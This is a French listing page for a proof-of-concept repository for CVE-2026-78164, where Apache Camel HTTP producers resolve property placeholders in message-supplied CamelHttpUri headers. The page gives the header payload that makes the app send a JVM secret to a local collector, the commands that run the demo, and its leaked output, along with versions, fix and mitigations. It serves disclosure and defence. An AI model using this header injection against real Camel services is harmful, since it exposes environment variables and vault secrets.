Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-78164 — Preuve de concept exécutable pour CVE-2026-78164, démontrant une fuite de secrets lorsque les producteurs HTTP d'Apache Camel résolvent les espaces réservés de propriétés dans les en-têtes CamelHttpUri fournis par l'attaquant. | Kitploit
Outils/GitHubGitHub/oscerd/cve-2026-78164
Outils DéfensifsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebExfiltration de DonnéesCollecte d'InformationsApprentissage et Éducation
GitHuboscerd/cve-2026-78164

CVE-2026-78164

Preuve de concept exécutable pour CVE-2026-78164, démontrant une fuite de secrets lorsque les producteurs HTTP d'Apache Camel résolvent les espaces réservés de propriétés dans les en-têtes CamelHttpUri fournis par l'attaquant.

Voir le dépôt
1il y a 2 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-78164 — Les producteurs HTTP de Camel résolvent les placeholders de propriétés sur les en-têtes d'URI fournis par les messages

Reproducteur de preuve de concept exécutable pour la vulnérabilité Apache Camel où les familles de producteurs HTTP permettent à un message entrant de remplacer l'URI de l'endpoint via les en-têtes CamelHttpUri et CamelRestHttpUri, puis transmettaient cette chaîne fournie par le message à CamelContext.resolvePropertyPlaceholders() avant de l'utiliser.

La résolution des placeholders de propriétés est un mécanisme de résolution de configuration, et non une étape d'analyse d'URI. Elle atteint les variables d'environnement du système d'exploitation, les propriétés système de la JVM, chaque PropertiesFunction du classpath (y compris les fonctions secret AWS, Azure, GCP, HashiCorp, IBM, CyberArk et Kubernetes) et — via camel-bean — l'invocation d'une méthode sans argument sur n'importe quel bean du registre. L'appliquer à un contenu d'Exchange influencé par un attaquant transforme une chaîne d'URI en un contexte d'évaluation de configuration et de beans. L'auteur d'une route n'a rien activé de tout cela : un simple to("http://backend/api") statique suffisait.

RuntimeRépertoireStack
Camel Spring Bootcamel-spring-boot/Spring Boot 3.5.13 + camel-http 4.22.0 (affecté ; corrigé en 4.22.1)
Camel Quarkuscamel-quarkus/Quarkus 3.29.0 + camel-quarkus-http 3.29.0 (Camel 4.15.0, affecté)

Le comportement est antérieur à la branche 4.x (il remonte à camel-http4 / camel-netty4), donc chaque version affectée et le Camel 4.15.0 du dernier Camel Quarkus sont vulnérables. Le correctif est livré dans Camel 4.18.5 / 4.22.1 / 4.23.0 ; le module Spring Boot exécute à la fois la version affectée (4.22.0) et la version corrigée (4.22.1). Aucune version publiée de Camel Quarkus n'embarque encore un Camel corrigé.

Ce que cela démontre

La route est un simple to("http://127.0.0.1:9100/collect") statique pointant vers un collecteur local. L'attaquant définit l'en-tête CamelHttpUri avec une URI portant un jeton de placeholder de propriété — sans connaître la valeur du secret, en nommant seulement la clé :

CamelHttpUri: http://127.0.0.1:9100/collect?leak={{sys:cve78164.secret}}

L'application initialise une propriété système JVM cve78164.secret pour représenter toute valeur de configuration ou secret de coffre-fort. Sur la version affectée, le producteur résout l'espace réservé avant l'envoi de la requête, de sorte que le collecteur voit le secret dans la requête sortante. Sur la version corrigée, le jeton est transmis littéralement.

cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

Sortie attendue sur le build affecté :

Outbound request observed by the collector:
    GET /collect?leak=S3CR3T-cve78164-do-not-leak

>>> PROVEN: the {{sys:...}} placeholder in the attacker-supplied CamelHttpUri was resolved,
>>> expanding the secret 'S3CR3T-cve78164-do-not-leak' into the outbound request.

Sur la version corrigée, le collecteur voit plutôt GET /collect?leak={{sys:cve78164.secret}} (littéral, non résolu).

Résumé de la vulnérabilité

PropriétéValeur
Composantcamel-http / camel-http-common / camel-vertx-http / camel-undertow / camel-netty-http
CWECWE-1336 (Neutralisation incorrecte d'éléments spéciaux utilisés dans un moteur de template), CWE-200 (Exposition d'informations)
GravitéÉLEVÉE
Vecteur d'attaqueEn-tête de surcharge CamelHttpUri / CamelRestHttpUri portant un jeton {{...}} ; le corps et les en-têtes ne sont pas bornés par bridgeEndpoint, et plusieurs consommateurs renseignent CamelHttpUri à partir de la ligne de requête en tant que fonctionnalité de reverse-proxy
ImpactExpansion de variables d'environnement, de propriétés système et de secrets de coffre-fort dans la requête sortante ; invocation sans argument de beans du registre ; oracle de clé de configuration définie/non définie via l'erreur renvoyée
Versions affectéesÀ partir de 4.0.0 avant 4.18.5, à partir de 4.19.0 avant 4.22.1 (le comportement est antérieur à la 4.x)
Versions corrigées4.18.5, 4.22.1, 4.23.0
JIRACAMEL-24418
Crédit[email protected]

Avis de sécurité : https://camel.apache.org/security/CVE-2026-78164.html

Le correctif

L'appel à resolvePropertyPlaceholders() par message est supprimé sur chaque site affecté, de sorte qu'un jeton {{...}} qui n'apparaît que dans CamelHttpUri ou CamelRestHttpUri est désormais traité comme une partie littérale de l'URI. Les placeholders dans l'URI de point de terminaison propre à la route ne sont pas affectés — ils sont résolus une seule fois, au moment de la construction, lors de la création du point de terminaison.

Atténuation si vous ne pouvez pas mettre à jour

Supprimez les en-têtes de surcharge à la frontière de confiance avant le producteur avec removeHeader("CamelHttpUri") et removeHeader("CamelRestHttpUri"), ou définissez skipControlHeaders=true sur les points de terminaison camel-http (le seul composant proposant cette option). bridgeEndpoint=true n'est pas une solution de contournement. Appliquez une HeaderFilterStrategy entrante stricte sur les consommateurs exposés à des expéditeurs non fiables, et résolvez les secrets via un coffre-fort plutôt que via des variables d'environnement ou des propriétés système qu'un placeholder peut nommer.

Avertissement

Ce dépôt est publié à des fins éducatives et défensives : pour aider les utilisateurs d'Apache Camel à comprendre la vulnérabilité, vérifier s'ils sont affectés et confirmer que la mise à jour la résout. Le « secret » est un artefact local inerte. N'utilisez pas ce matériel contre des systèmes que vous ne possédez pas ou n'exploitez pas.

Télécharger l’outil